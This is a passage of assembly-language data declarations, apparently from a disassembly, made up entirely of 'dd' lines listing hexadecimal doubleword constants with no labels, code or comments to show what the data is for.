3DCB9A57h, 36AE777Dh, 6EA03BACh, 86C32935h dd 71F4B2A5h, 0ADD3D6h, 0E25562C7h, 0F092D67h, 0F84632D9h dd 681E236h, 1E3168F5h, 0FF02A043h, 29B774C4h, 0DC4A7F6Fh dd 0CA806E6Ah, 0D8D0985h, 4CE6810Ah, 1188DB7Ah, 17EB8168h dd 0C15BD928h, 10D839C8h, 5A0EE4B7h, 75C0F681h, 0E6C11C39h dd 120D798h, 0B25B4BB0h, 72EA9277h, 14578317h, 119FD3C0h dd 81039BB5h, 720125CEh, 20DEF7F1h, 6403E895h, 0AEE9210Fh dd 0C52702D0h, 7A7F738Ah dd 5D088689h, 0E5E90A08h, 0CF82BDC8h, 66C71494h, 62E31440h dd 45485FFAh, 13C20515h, 40C26A50h, 0A1ECCE5h, 680D53E6h dd 5DB600AFh, 0F74508B1h, 0E004DD69h, 2454D801h, 3893F58h dd 1C4A3A1Bh, 2E6DC9B0h, 0E97EFE0Bh, 8991FC8Bh, 0FB4677CFh dd 0F1157C27h, 65EAC90Fh, 1C5646D4h, 0AEA2E95Ch, 81054047h dd 71D4FE7h, 84BC76B3h, 25F7E8Ah, 57057FB9h, 8027A224h dd 1CB58DFEh, 79E9F40Ch, 97E3FFF2h, 6C88E6E0h, 0A82A0581h dd 8FF84B8Dh, 2F0898B7h, 0B1510080h, 28072C43h, 7E04C83Ah dd 9B58F22Dh, 0EAD8EB05h, 0FB81D54Ah, 48A4E920h, 74EEE2BDh dd 75F109BFh, 4A20FEB4h, 8092A077h, 3A5F8196h, 514E0BE3h dd 0E5D70352h, 0CB2124A9h, 0BBD705Ah, 0F26717DCh, 0D7F85EE5h dd 53806CE3h, 511DBE2Ah, 626D5462h, 0C440F531h, 42CFE066h dd 3FB2C1B5h, 243AEA28h, 2117AACAh, 413DA2D8h, 3E4130EDh dd 2F68D640h, 0D57C6DC6h, 16E88E2h, 0C45C19B8h, 2C2E254Dh dd 993FD93Ch, 0EE5FD9F9h, 1CDB130h, 0C3BB531Eh, 6ACF4D8Fh dd 61B65706h, 0EDD2BD45h, 7AB8C698h, 0C40B0797h, 0E89AF192h dd 15AD330h, 77B76856h, 6F5E76BFh, 5805F84h, 3CE911Fh dd 0E9F331A6h, 344A9039h, 0ADE0D2F1h, 0BC9E99DAh, 58679330h dd 0B7002D5Eh, 563D17Ah, 7A32551Ah, 7840926h, 0C28F4721h dd 0B6510794h, 1FBA1204h, 0BC1FA802h, 0F80162F7h, 0B5A52141h dd 0CBBB1787h, 0B8885AEFh, 0C18C40A2h, 2B878EFh, 0F6F55E35h dd 778F57C0h, 5B4E49B6h, 8BA63A79h, 51970BEh, 4EA45F44h dd 0E9D810D5h, 0F89E5DD2h, 130F949h, 0EAD15A7Bh, 53514225h dd 1E680EC9h, 0E95275C1h, 0B95D3425h, 2F08D909h, 2130886Eh dd 0F9023D2Ch, 7D5CCB88h, 567680C0h, 0BF1D682h, 1F8FE86h dd 0E4E8073h, 17794EA8h, 43006E3h, 13B2B697h, 642A13E8h dd 6914A080h, 165C2C22h, 47120444h, 0B7C7ABECh, 0EFFC1713h dd 78B5E3C0h, 0E92613F6h, 0C109C483h, 5551263h, 0FE3A35BEh dd 0CBAD6461h, 939BD00h, 0AD495E26h, 2D0D3D19h, 1AE402Fh dd 0EF46E9E8h, 5B8CBABh, 0B00A2548h, 9C1EFC34h, 0D84E36E0h dd 0C2810F2Dh, 0F14BC00Fh, 0FE3E89D5h, 719F899Ch, 0DFA21679h dd 12252497h, 0BBB7C894h, 0A72088D4h, 0F3EE38F0h, 0EA8AF75Bh dd 0C2E5076Fh, 6C77AFE2h, 0E9B0A3B5h, 3079B821h, 0C57B9538h dd 292F64C0h, 0B0E2783Fh, 176209C6h, 0EA906AF5h, 6F101ACFh dd 0DA046482h, 0AF3BB649h, 0AC94C0C0h, 0FB292677h, 75F12083h dd 0B3BA80DCh, 36AF6317h, 0ADCACD90h, 3033F819h, 0E310D2F7h dd 3D0B730Eh, 663EA568h, 82602F76h, 0CF6DC1F4h, 0EA6CA0F1h dd 0DB095E00h, 0CDD9850Fh, 0C962F99Dh, 0D7247151h, 0EE692538h dd 0F7099530h, 0F90BF97Bh, 7394FD5Fh, 446E5395h, 0CEB79484h dd 76F24A90h, 24F51410h, 0E809B3ADh, 6981F60Bh, 0D806FE03h dd 0DAC3492Fh, 8C681216h, 76E37Ch, 77356E1Ah, 0BDF420E9h dd 123C17F9h, 0E08CA265h, 0CF01953Dh, 7AF1F65Ch, 891206DCh dd 0C0FDDA01h, 1472BD58h, 8843A461h, 3D6EAC00h, 0AD59BE15h dd 58EB948h, 84DDE9FEh, 687872FAh, 9E2F27C6h, 0C9E3F169h dd 0EEA1D584h, 6ED59E61h, 0E75398Ch, 585C5F0Ah, 0D89E2815h dd 6391448h, 2F7A6D31h, 3F6E380Ch, 0E70B4B20h, 8B99C653h dd 5821F5BEh, 59899BE9h, 70C504F4h, 89FA0147h, 0E88B022Dh dd 82991098h, 47D9A55h, 80005894h, 0B4500FF5h, 0E520321Eh dd 2EA3D0E7h, 2605EDh, 5AF5308Fh, 595FE828h, 0D83FC4B1h dd 432D683Dh, 9EA95163h, 7C2FB91Ch, 0B0179A66h, 13FC5282h dd 59955420h, 2AD100E1h, 8F5E3892h, 0AEA04750h, 4F900A44h dd 0D85A44BCh, 8E0912CFh, 5BA17811h, 0B551B866h, 2C30D9BFh dd 385A31D6h, 7FBB9D92h, 0E861B42Dh, 33E62A5Bh, 0DF446627h dd 0C3525024h, 0EB89DA53h, 5B40AB97h, 0F529F821h, 930FFC21h dd 0FEC7298Fh, 1690941h, 9F844EFh, 1C7F5D08h, 77F5828Bh dd 73E91FB0h, 0AC8A2BF1h, 2C5CA079h, 986094EDh, 2DAC7602h dd 43511D24h, 49425200h, 0BD6AE92Ah, 0DD05210Bh, 0D3B650B9h dd 286CA10h, 0D6064E2Dh, 6429757Dh, 2D250D4h, 6C050AAAh dd 9B681201h, 0C5D3A87Bh, 0A9A3796Ch, 9610F9D6h, 0C14B10F3h dd 0C67368D5h, 15B927A9h, 16B22B5Ah, 96E0B7E1h, 5EFAB9E9h dd 9627FAF3h, 64B72F90h, 12008B90h, 8607E4C0h, 98D5F6ECh dd 5C7F4050h, 8C517395h, 0FD43513Ah, 99BA0CEEh, 0AC0C0297h dd 6E9E5CA1h, 0BFC65149h, 57B16813h, 3C9763BFh, 0F07A937Eh dd 0B86318B5h, 0A3700033h, 0AB99B95Eh, 294BB579h, 48A178A0h dd 0E1A449A4h, 96A33A30h, 14A23489h, 0DBC5D564h, 0B043C224h dd 0C53B0E10h, 46413034h, 7EBD6858h, 0BB001F35h, 4166629Eh dd 2D9DE6BFh, 0F7C3BE99h, 512D3B05h, 10BB2978h, 5F25082Bh dd 0B348BC90h, 0EEE18880h, 81655459h, 31304B08h, 150848Fh dd 4C315866h, 0E06D3120h, 8012CEC2h, 0D2F68882h, 2C6296C1h dd 0D7F783E5h, 50469B87h, 2ADB806h, 0E99ADAD5h, 595E7D56h dd 0C110F8E8h, 0BF658D5Fh, 8741310Dh, 7DDCD031h, 0A5F896E1h dd 71248602h, 57D3F701h, 0C4667170h, 1E61A6D1h, 0CB56828Ch dd 375B2435h, 22E5222Bh, 0EF01B7A9h, 32C84082h, 6A21CF01h dd 0ED520804h, 0E91758FDh, 6520EA8Fh, 0EA1755Fh, 0C1B5BD78h dd 4E34FEBh, 0F121AA9Dh, 7F9E7B77h, 8709868h, 458049D4h dd 0E18ED33Eh, 1FD55532h, 0C2E9ADC8h, 0AE0CFEB6h, 7486AA62h dd 4FB2429Fh, 0A4037079h, 0B01A3497h, 0B50FEEBh, 0F30140ABh dd 6080C88h, 34E803E9h, 0F61601B7h, 0ED580DDh, 4B285464h dd 33FB45EFh, 8398BE04h, 0EC8995BBh, 0B892773h, 0BD8DBCBh dd 0DE65D001h, 1F99FD88h, 0FAEA135Fh, 4D18625Fh, 167EBDCBh dd 0EF55111Fh, 700D9E41h, 0C9F1EECh, 4A8683ABh, 0E1D0BB53h dd 18D2EFC6h, 665843BDh, 7914F32Fh, 5016CCF4h, 0E5AD6626h dd 0E52DEB02h, 30F6596Ah, 1D4A755Ah, 0FB825D74h, 0CC231868h dd 0B75D70C2h, 8C924644h, 0E6E9550Ch, 9C6839Ch, 233DBAAFh dd 94A68D7Ch, 0F9F960B2h, 3580A50Eh, 0D6685653h, 25FD5416h dd 4B484A8Ah, 0D343F20Ch, 0ED404544h, 0AC775E29h, 8FAF16C7h dd 0A93E2F22h, 0DB965FF3h, 4B43D19Fh, 0FA41EE58h, 8E25043Eh dd 2D2AAE0Fh, 0A996E91Ch, 4E5769B8h, 0BC11BD3Eh, 0F1747BF1h dd 8690C82h, 680803CFh, 61133C3Ah, 6DA8A61Ch, 0CB7583C1h dd 9CE73836h, 0B72A9BC2h, 0CE585739h, 5A470095h, 0B71CD40Ah dd 0B7DA8982h, 9D186677h, 8828FF2h, 0C19DCA77h, 6800989Fh dd 0EC9F1F37h, 1859BDD0h, 1D965DEBh, 778DE913h, 0F9D539EEh dd 554F64F8h, 4B205B98h, 0DD7897F2h, 0EECA682Eh, 982EA4BEh dd 0FE8C5B9Dh, 3C751B8h, 0ECC193B2h, 0B6385857h, 0BD51E0A2h dd 5E8C4C88h, 0CC5EE532h, 362E0115h, 2B004D2Eh, 0E9107B6Ah dd 0DD899D7Eh, 246F99DDh, 0F4603807h, 14E68892h, 2C6FE58h dd 0D0D6F606h, 0DD40A2EEh, 79681357h, 0B259AC40h, 1A1EFD5Fh dd 4BD23344h, 13E6B262h, 0E2A84D46h, 52DD6882h, 9709B477h dd 4690EDE6h, 7474075Eh, 144204FEh, 0B2330ED7h, 0AE393F8h dd 4A107948h, 5F7BB5B9h, 0D371D350h, 5343DB92h, 0F10124EEh dd 0E9C87A92h, 0D810F86Dh, 0BD773605h, 54A47848h, 0FC588890h dd 17E448B9h, 73C98A40h, 0C19B57E0h, 7967F377h, 0C224306Ch dd 2451E040h, 18D17FB5h dd 0EE809F2Ah, 0AF063861h, 0F4F7CEFEh, 0FDFC12AAh, 84A8A49Eh dd 0EF75E9C2h, 0F467A0DDh, 0F63F8C35h, 0CEA74F27h, 8E680928h dd 2090C67Dh, 0BF05AB0Dh, 28414EA4h, 3F9BEB01h, 0F13E38C3h dd 0EB257B1Ah, 0C2C07204h, 68535500h, 989F483Dh, 24373A03h dd 9EB23F73h, 0FBA5CFD9h, 0C33FEBEFh, 0BFF1AA9h, 425F31FAh dd 0E9B060E5h, 150D9FD5h, 1FDC3F66h, 0F465B7D7h, 22321529h dd 0AEC6FFBEh, 43A45F4Eh, 340518E8h, 2C040A53h, 5D29717Fh dd 0CDBB8DD8h, 0DE3C177h, 0BF74D51h, 2833AC0Ch, 97B480DFh dd 0F867F701h, 0C6B65F1h, 598B0F63h, 0FCE9DF81h, 2EFC2597h dd 52774F04h, 0F669B301h, 5CD070DBh, 0A7BFC182h, 5A3C66E1h dd 0D2E4041Fh, 202542A3h, 0CAE159EAh, 4C2C7033h, 0E1003741h dd 5C2815B4h, 1E74DBE3h, 6CC380D3h, 0E756495Ch, 0D861D6AFh dd 0ED25685Fh, 6AD4592Dh, 35D403ECh, 0C073410h, 1D57871h dd 984D714h, 0C081Ah, 1F685A14h, 2C719A2Fh, 5221BCB0h dd 535B9780h, 0B60FD1B7h, 0FE2893h, 0D4F6E686h, 0E5882F51h dd 59EEFFE0h, 0F028E917h, 0F9680E8h, 0C189CCCDh, 0A9E67980h dd 1E4A4C79h, 109ACF8h, 1F029299h, 7355A79Dh, 25F7ACEFh dd 4A2901Ch, 0AAAB24AEh, 0F56EBA9h, 9857FCE9h, 6BBE3C53h dd 816E8C00h, 8B744CF5h, 8709048h, 25FE27F1h, 0D3D1E90Eh dd 0A06D3EBDh, 0D20F8A6h, 8420657Fh, 534E3BF5h, 89E3B597h dd 22C40F4h, 2215CF3Dh, 2086CE29h, 8C2EC4BAh, 15B00184h dd 0C3C0ECB3h, 0C1801C58h, 0AED9129Eh, 0A9BF9E20h, 27FF25Ah dd 5D4FF781h, 0C3D76D4Ch, 49D1C122h, 16171630h, 0BF48126Fh dd 793FBB40h, 0B8427C7Eh, 689040BDh, 0D620A827h, 8E50C6C1h dd 23C4F331h, 0A4076130h, 0F656F0B6h, 11D8EB8h, 0DE9F5A66h dd 0BA53C652h, 0FA1D64AFh, 5E011662h, 9B79586Ah, 0CB1FB49Dh dd 4844504Eh, 9460099Dh, 0E95A3917h, 42937BA6h, 5B40735Eh dd 2375C281h, 810D7F28h, 0FC83E809h, 0F5005DF2h, 0AFA5BABBh dd 8229B52Dh, 65D5E4h, 0A74E25B8h, 0D897697Dh, 4DF07FF4h dd 6809521Dh, 0B0777AB6h, 2A67C6h, 0D0F70F20h, 54437525h dd 3E91516h, 2DEADF85h, 53E77E52h, 0F740443Ch, 0E5C1D513h dd 61B53209h, 9F665887h, 5B0FF74Bh, 2D50AAE7h, 39734102h dd 95B4509Ch, 27D54F1Bh, 7C18A8B2h, 2270B74Ah, 0A9D0FEFAh dd 0B64610B7h, 0AEA9045Eh, 3EBD009Eh, 0CB76DD69h, 9A7E029Eh dd 3A81041Eh, 6CD3E914h, 0A793416Bh, 7AA23E2Bh, 5DC50517h dd 20B2F480h, 0F521FD06h, 0E52823C0h, 10F31882h, 0D4C07839h dd 4A1E46D4h, 0B6F02960h, 0C46C147Bh, 0B6E6262h, 538D405Ah dd 3C440FBBh, 33E52CC7h, 5B948AFCh, 2927EDFCh, 0C5BD38ECh dd 843C893Ah, 92683AF4h, 3D6FE300h, 150CBE57h, 9706EF60h dd 27863E10h, 0E2F7058h, 3DFA2745h, 2A95CBC0h, 0CAC05CEDh dd 5EFD6BF9h, 16C74EE9h, 0DB29FFA6h, 1056AD2Bh, 0B05F48A2h dd 8FD2DFC7h, 0F0FD74AFh, 92543C78h, 0E82CC128h, 0D5228C0Bh dd 0A54FBDB1h, 91E47567h, 29EB4AEDh, 0B8648275h, 558F6723h dd 8A4000C2h, 9325304Ah, 0F5F08032h, 4A5C9217h, 0C1B1F9h dd 0FB14B5C0h, 0D8215A17h, 5746CCh, 9D33F1BFh, 0F7C5E917h dd 4A09CEA4h, 8F61AF46h, 0B5DA6A4Ch, 0E8353C00h, 205407Ah dd 0A3563762h, 0BE42C231h, 9BDDF08Bh, 0F4B65812h, 15F18027h dd 4641C2A5h, 45E92A33h, 0C210B787h, 1AAB50D7h, 0E525A484h dd 0A56B4758h, 0C34380EBh, 610211F3h, 5CE95F7Bh, 84F9D4EFh dd 803D2073h, 1A50F723h, 0E9251C71h, 5762E293h, 0E9C12AD1h dd 45A4FA94h, 3F8820B6h, 0D1E76F8h, 49688153h, 89723A79h dd 0DC528970h, 3A5FEB0Dh, 44E5F528h, 60AEF9ADh, 0B415E955h dd 0FC5C50D9h, 0E7AB07E7h, 0F17F45D9h, 8447DFF7h, 7856AED2h dd 0E17AC7ABh, 3FB5B1A8h, 51B82825h, 0BF6A2FA2h, 0C72D9156h dd 0FD1E0945h, 6870557Eh, 31294B58h, 824BF4B9h, 6888F59Fh dd 0C340758Dh, 0F80530E7h, 0F292E926h, 48A5CEBBh, 7EF505F5h dd 0B7A45D7Fh, 3E739DC7h, 1608C588h, 0BA5ABF2Dh, 5E6E3A4Ah dd 0AE168CD2h, 0EC12ED93h, 13EB5288h, 0DBA60845h, 0C687BD34h dd 48BA41D1h, 82A8E56Bh, 839FA2FCh, 0D7456A89h, 0E9148136h dd 84D4D0C9h, 560A70E5h, 75E108Bh, 39ED805Bh, 83F6C633h dd 0B72EC7EEh, 42DF3DE2h, 0E6D053CEh, 0DA5DEBC0h, 61905B82h dd 2AF198E9h, 49781ECCh, 37108103h, 98592CCAh, 9D46490Dh dd 0F486313Fh, 60BFA547h, 305A46B1h, 17266376h, 554ACC22h dd 0AA05ADE6h, 0C306713Ch, 96970294h, 0F3904253h, 8D24207Ah dd 504056C3h, 0F6398936h, 3B3ABA9Bh, 0AB99CA28h, 0DD800ED3h dd 0E01E9036h, 67B75300h, 0C7FEDFF6h, 170E8DB6h, 4C70D028h dd 0B210B8FCh, 475526B1h, 0D954F502h, 13107066h, 0FE150744h dd 0C4F4708h, 2C2D3F6h, 5FC56669h, 0EAA2BA43h, 0BB741055h dd 5645BD80h, 2DD86E37h, 0F1F5948Eh, 0BADEF713h, 98FB9406h dd 1BC20FCDh, 9749C52Ch, 0B50FD4F0h, 25EB3053h, 804E9A6Eh dd 902DEFD8h, 801CB300h, 0C3FE06EBh, 8E3C004h, 0C6FCB551h dd 0C904BC22h, 72506E74h, 3E6C88AEh, 42C43312h, 0A8032DBCh dd 0D131C974h, 0C74855EAh, 8004CDFEh, 0E5D007C5h, 0B68095F2h dd 6673E96Eh, 955459Dh, 5C59E6F0h, 0F4452B89h, 0D9654E53h dd 7789AE5Bh, 0FE3FC87Ah, 90019540h, 92DD5B0Fh, 4A5FC66Ah dd 0B6FD61C0h, 0B45E8105h, 0F0DD6E02h, 0A3E3B657h, 0FA4D164Eh dd 0CE38EA5Fh, 0F22709BCh, 98F44F44h, 257731Fh, 0F75241FFh dd 8177B9AAh, 4665EA0Ch, 50AC3E71h, 0A308207Bh, 5763FA95h dd 35AC4E99h, 5CB22BBEh, 6232C9DFh, 958A6C75h, 66255245h dd 73D98058h, 40AC3A5Bh, 290BFFADh, 0B6E4C44Ah, 2D2C500h dd 1C6810E2h, 650C9E25h, 7A6CA1F5h, 0BC93B8A6h, 76ADB406h dd 0FD544F16h, 44418528h, 8FB632EAh, 4AE0D8EAh, 0DA0DA89h dd 0D682539Fh, 92FA49E7h, 2BF6D5FDh, 0BF236CCh, 5254921Ah dd 0FBC4980h, 899760BBh, 619DD164h, 0F2FDE170h, 0AD5F9960h dd 0CACD9B97h, 8F2ED5C6h, 0E70B4D8Eh, 100DB0FDh, 0DAA983D4h dd 860A8243h, 55D5F6EFh, 7BFD5469h, 39050425h, 0D5B8D819h dd 0EAE823C5h, 0FE49735h, 1644BD16h, 45536100h, 0EE81461Ch dd 0B1101338h, 0DD76F501h, 4FBD00D1h, 0FC99ECD9h, 0BFA9D6C5h dd 9F03FB79h, 0F88F4E7Ah, 0A0B744Dh, 7E484E79h, 49E89F6Dh dd 4FDE5F6Ch, 0D4C7A442h, 0A8086261h, 5F4B580Bh, 604FCA7Ch dd 6B7FC1C4h, 727CED6Ah, 0E6001758h, 15101A51h, 0B17C684Eh dd 43CC69Dh, 0C410DDAh, 201FC7D1h, 4A92627Eh, 5BF85B5h dd 1031F787h, 0C27F1554h, 4A772D9Ch, 0AEBFC198h, 0F9BB0414h dd 4FBE17EDh, 634405B2h, 1D73A4AFh, 0C83B9F41h, 69BFEFDCh dd 9C732192h, 5DD11350h, 0C225A805h, 5C70B960h, 0A40C576Ch dd 0C646317h, 5DD0668Eh, 4269CCE9h, 0A1AB826Bh, 0DEF602ABh dd 0F2AE13FDh, 0F392C152h, 4A7F6723h, 0EB8287A2h, 74193500h dd 25070383h, 7CC42075h, 2D01E870h, 9880F00Ch, 74A3200Eh dd 5672C2C1h, 204DF1h, 2A2B099Eh, 4BFC2904h, 0D4DE0820h dd 174FDE30h, 5CF0BD35h, 7F151h, 1D64C9D4h, 0E9E42560h dd 121A0ECEh, 0FCCF8944h, 0C3BAA226h, 55AE9AEFh, 0E927015Ah dd 0D5870957h, 0F1B7BE9Eh, 792A4D8Eh, 9D12B56Ch, 0CB5A5AE8h dd 6DDF1037h, 2CC4680Bh dd 0B4634574h, 502B7D01h, 4EDFE802h, 8BAEBDE0h, 712F7C34h dd 2E5935F6h, 625B40DAh, 91605687h, 2D024A32h, 0E9DBF717h dd 0FC914A3Fh, 680E3C39h, 0BAB24CA0h, 5599C80h, 0EA4A160Eh dd 504ACB32h, 272C26A6h, 69089F70h, 12532FCCh, 639EE9E3h dd 76ECB11Bh, 8BF648EAh, 0C0DEEC5h, 0B43AFA59h, 0F20B2937h dd 0A7B0BCE9h, 0B77455D5h, 0E2C0B090h, 0F2801C04h, 42EACBCCh dd 0B342E971h, 271EDE71h, 3C406F71h, 90169548h, 0A415207Fh dd 8880B0C5h, 13C5E145h, 6FB72645h, 801B03FEh, 0C79829F7h dd 4E27E901h, 0B77D64C3h, 0D1A514F9h, 0BA68059Eh, 0CC71FA72h dd 1E92417Ah, 2607044Ah, 0C0558FD6h, 611138B8h, 0F86B865h dd 7FF92A3Ch, 842EB8D2h, 0C11FBCFEh, 76824D3Bh, 0E7A42B42h dd 22CE0ECAh, 0E2C07757h, 63A8379Ch, 0D10AF2F8h, 0C5704314h dd 401D2F0Eh, 0E9D5290Ch, 0EBA5D2B6h, 0AB980E8Ah, 975E1FE9h dd 0FE543740h, 98D0F6C0h, 1DE40DFh, 3155F777h, 7EEADDD2h dd 7F5F9A62h, 71A7E867h, 6D858843h, 0E6C8E904h, 2597A3BAh dd 0AA14D705h, 201D79F6h, 0EF40557Bh, 1506F47h, 0BF5728D0h dd 0FC6AB708h, 98551509h, 5BAEE979h, 682730BDh, 87C4054Fh dd 24A2E47Ch, 33F2D225h, 9CF4F20h, 1AF0685Ah, 18F1B4F7h dd 4711E957h, 7D0034BFh, 18B95966h, 0B63FAB73h, 482631A4h dd 685300F5h, 0AC10007Dh, 0CB815B0Dh, 5105212Dh, 0BB54E945h dd 3B514BBFh, 9D12BC57h, 0EEB65722h, 4983C104h, 2B11F825h dd 710C174h, 8DAF79E9h, 702E121h, 2E5DA20h, 68134548h dd 0E5E67198h, 70A50995h, 629D0F7Eh, 0CEA9CDD1h, 44704576h dd 365D8184h, 0B05D7C29h, 7C65003h, 0FDB25228h, 0E9CED754h dd 66BCF125h, 5B7806CBh, 0DF297BC4h, 0C92D2F9h, 686787F6h dd 0DBB86AE4h, 54F5C4h, 35E85BFh, 40A9165h, 8142923Dh dd 3158C58Dh, 2CD3C505h, 96B90003h, 8160BD32h, 711009E1h dd 0C8743701h, 467F210Bh, 20B89A09h, 6812BFD7h, 0B347F82h dd 0E9396CEAh, 45C7CA2Ch, 0D0E3DA53h, 7D79BFFCh, 26A42045h dd 0F8505F71h, 9BD1B434h, 0A52C9739h, 200442CBh, 0A664BB45h dd 628CEFC0h, 1091068h, 7A0841EEh, 0ABD78AB3h, 80339F22h dd 7AA1EB5Eh, 500D5AC6h, 5F250867h, 6858B954h, 0A3435FACh dd 0B05ED8BEh, 0C188065Dh, 0D0CB2858h, 2BFBC40h, 2546965Eh dd 0E389FD31h, 22CA91DFh, 2D80FC34h, 0CB562BC3h, 14BCA321h dd 0D3DC7B29h, 0B78459FCh, 5B5D1E51h, 525484C9h, 0C0EB7BFh dd 55D35103h, 67360C04h, 0DEBD10F0h, 55AD000h, 42EB6F3Dh dd 3F902D90h, 94BD0884h, 0BF2D0278h, 5F449637h, 0F30080FDh dd 0B04B1D0Bh, 535218D1h, 0FAC67AA4h, 135FBCEAh, 0BBE5628h dd 16B3628Bh, 291C0674h, 0C87C53DBh, 95364D40h, 0C609F4C2h dd 0F74BD248h, 2500D35Eh, 79992993h, 234B851h, 178C3DF6h dd 0A8DC5EE9h, 8936FB25h, 0DF7E5976h, 0CC201E3h, 3262F72h dd 870FC758h, 0D721774Fh, 0EE20E9E8h, 6EDA2D00h, 406802EAh dd 0B155C408h, 0DC931E64h, 0A32433E6h, 5CD9A5C3h, 436A68E1h dd 0C8510853h, 4A4D27E5h, 0C209F042h, 0C8A1E20Bh, 5A90D489h dd 0B42BA5Eh, 3D1355F4h, 77D5C9C1h, 7FE9C3D4h, 52242D3Fh dd 2F9F3194h, 6554CE89h, 0ECF8CDE9h, 14EE0813h, 0F12053FFh dd 0EA5DDA82h, 0A87414ECh, 9F74A15Ah, 65B7F1F3h, 48EC64E2h dd 0E07CEAC0h, 27DA7BA8h, 8BB849C0h, 0E9A05B57h, 728C9EBh dd 0DF5ED04Fh, 8AC959ADh, 6E5A3041h, 975C4F28h, 833042D2h dd 0E5BAFF3Ch, 587D3036h, 8E7E0282h, 740015Ch, 3F7C940Dh dd 89AED575h, 0FD4760A3h, 2A74718h, 10EE8F26h, 2589782Dh dd 14678E8Dh, 0A2C0AA01h, 0D093703h, 0C0086662h, 0FD340155h dd 4CFCF036h, 0C6916180h, 8492918h, 2F802DFAh, 4768070h dd 8080B980h, 38C6847Bh, 31088315h, 61181958h, 6D0101E0h dd 0A8141088h, 2060F51Fh, 1C318FA4h, 743B084Ah, 0F66E1888h dd 8EE0508h, 0D40C2A4Bh, 6278081Ah, 933218DCh, 31DA102h dd 81B7A90h, 0EB2047CEh, 0D208184Fh, 0E77D1813h, 80E5EB80h dd 8C4ACEAh, 5304ECDBh, 9E0D04CFh, 3858DD06h, 208C5E20h dd 56336FDFh, 19939106h, 41D3CD10h, 48188844h, 958B0D4Bh dd 881EFD10h, 0C11A008h, 5420BB21h, 5C08CB62h, 0A05E03C6h dd 0AC3D512Ah, 0A864D740h, 83204F84h, 0B4A6AD9Ah, 69310885h dd 86F91862h, 55D059A2h, 3A61F4F5h, 47BA0888h, 28977E0Ch dd 175740A0h, 0C910AE62h, 64AB0372h, 34E10810h, 2080822Ah dd 0E3315CFBh, 9451089Bh, 2D27001h, 6A90A2EAh, 4D730212h dd 1860C803h, 87BFE10h, 87838A88h, 629C205Ch, 7D6808FAh dd 2E62A02h, 9D02D550h, 75792CF6h, 0A8D85E40h, 818CDED4h dd 758851FAh, 9AD40179h, 16E6101h, 0D1019C5Ah, 1D1888B6h dd 913C0C39h, 43409610h, 20509238h, 5F20CFA2h, 0EAF8315Ah dd 904D4908h, 0B5195EC9h, 8C590852h, 8F7BB49h, 649540FEh dd 0C435C740h, 58234B9h, 0EC4CD8BCh, 66B1087Bh, 9284838h dd 49535620h, 1210287Eh, 0B9661A49h, 1026C310h, 10875B10h dd 16106919h, 0F6610E4h, 89AF318h, 29C85F40h, 71770C1Eh dd 8040A708h, 202C925Dh, 2F206E97h, 0AA7F2046h, 247AA820h dd 959098E3h, 0D63188CEh, 1BA8208h, 7A01514Ah, 587501E0h dd 950A5901h, 1894CC40h, 9D10565Ch, 869480E2h, 0E0529381h dd 5B90A54Ch, 1A62C846h, 4EB88891h, 0FDB89245h, 35EB0888h dd 3EC99419h, 64733824h, 49B7959h, 789266F0h, 0C5130367h dd 69141018h, 80B4BE08h, 60808645h, 0E8FC389Ch, 0EF6C204Fh dd 0F39245AEh, 0C6E4C778h, 63424Dh, 2752C47h, 0C68913EBh dd 3DA7B90Eh, 10005F4h, 49408F44h, 1675C90Bh, 1D748BF7h dd 3DE0284h, 71E4B9F0h, 6C0333Ch, 304FB10Fh, 0CCAC4B2Ch dd 315AB762h, 0C71C7BBDh, 8AF817A6h, 2801743Dh, 80C3B151h dd 0C8DC7DC1h, 0BF6FFE59h, 0D9E912F8h, 10287E40h, 0ECF44BB1h dd 50CC036Bh, 0C8809EB4h, 0EBD4F655h, 0A0E12F93h, 2805D1B5h dd 4601E9F9h, 0BC0824FEh, 8FBC4A3Bh, 59C2CAF5h, 0E9550508h dd 830542ACh, 8BBAEA29h, 5AD31C99h, 9DE3DAD2h, 4BBF25Ah dd 1120B968h, 815CDCE6h, 8E60473h, 0B33B7C68h, 0B6378ACh dd 0B9565072h, 0E36A1EE3h, 0CBA24FFAh, 0FF3B10h, 0FD2D9545h dd 0B7106F9Fh, 0DFEA8302h, 0F0979BE6h, 11B3322Dh, 0EBE35658h dd 0AEC00DBAh, 0B01CBE59h, 31534125h, 5AE96AB1h, 0E28981C3h dd 0C603B66Bh, 0BC521A9Dh, 0BB530874h, 9CC18140h, 50173005h dd 0C834100Ch, 0D9011B17h, 70A67001h, 0CAF819BBh, 6261893h dd 148F6A1Eh, 6355992Eh, 0EE235703h, 0EFE2E009h, 1015F60Bh dd 31FA7E9h, 0C26714B9h, 23D5D119h, 3A9B392Eh, 0BF19E4B6h dd 2F5CB054h, 9A70EB8h, 76F3CA5Dh, 0E1ECF2D0h, 0A26C930h dd 74345125h, 0D8F70E11h, 7565D32Dh, 4C8000EFh, 296B3970h dd 76BF00EDh, 0F03A5C14h, 0DB067305h, 1D83ABCEh, 12F1A358h dd 13231C34h, 8A3CAD80h, 0BD80E367h, 0AFE5E80h, 0EB2B9731h dd 0F1DE0BDFh, 0E164AF6Ch, 12191822h, 0AB010676h, 0F2E64871h dd 54682085h, 738CAE5Ch, 188801BFh, 55E976CBh, 0CE742A93h dd 0EF2494E6h, 5FE95893h, 0C6391D60h, 7BD23B62h, 431713D0h dd 8432A801h, 0EA12D36Fh, 27163D40h, 0FC5E7DF9h, 0B380BD4Dh dd 0AC47AFBEh, 94105A7Ah dd 56A00104h, 76030DBEh, 20E9395Eh, 51600FEh, 0A6B66F84h dd 3096C201h, 16545550h, 0FAA428E9h, 0DBBAED74h, 8E91302h dd 0B1514AC3h, 5DC23DFBh, 58B82C71h, 207B4890h, 0A398734Eh dd 0A25391A4h, 0E81FC92Ah, 8BDF5DA5h, 3C2F595h, 0D2462235h dd 0B60147Ah, 0A1A5BF29h, 9EB9F80Bh, 5E93F991h, 0A5F14BE5h dd 1E478E1h, 60E92FCBh, 0E447BB7Eh, 2914A9C1h, 5A1B052Ah dd 0F421BB21h, 7BD5223Fh, 1201D220h, 274B077h, 2636ACCh dd 0B9DFBC40h, 4744082h, 0A665F622h, 0EE810040h, 31D90FC3h dd 2BB7CE68h, 133BFDF1h, 0B5E9370Ch, 0AC5A229Bh, 0F18EC0C1h dd 4A0DA36Eh, 0AAC3AE96h, 590A1FC8h, 0A057C41h, 6F41ED5h dd 1DA17F98h, 0A3DA5895h, 0AFC8DACCh, 22E617AEh, 0FEE97698h dd 0E61DF667h, 7FA20790h, 1A232568h, 210A5766h, 0C222265Ch dd 0DB8C5A3Ah, 9B7512F7h, 874F0167h, 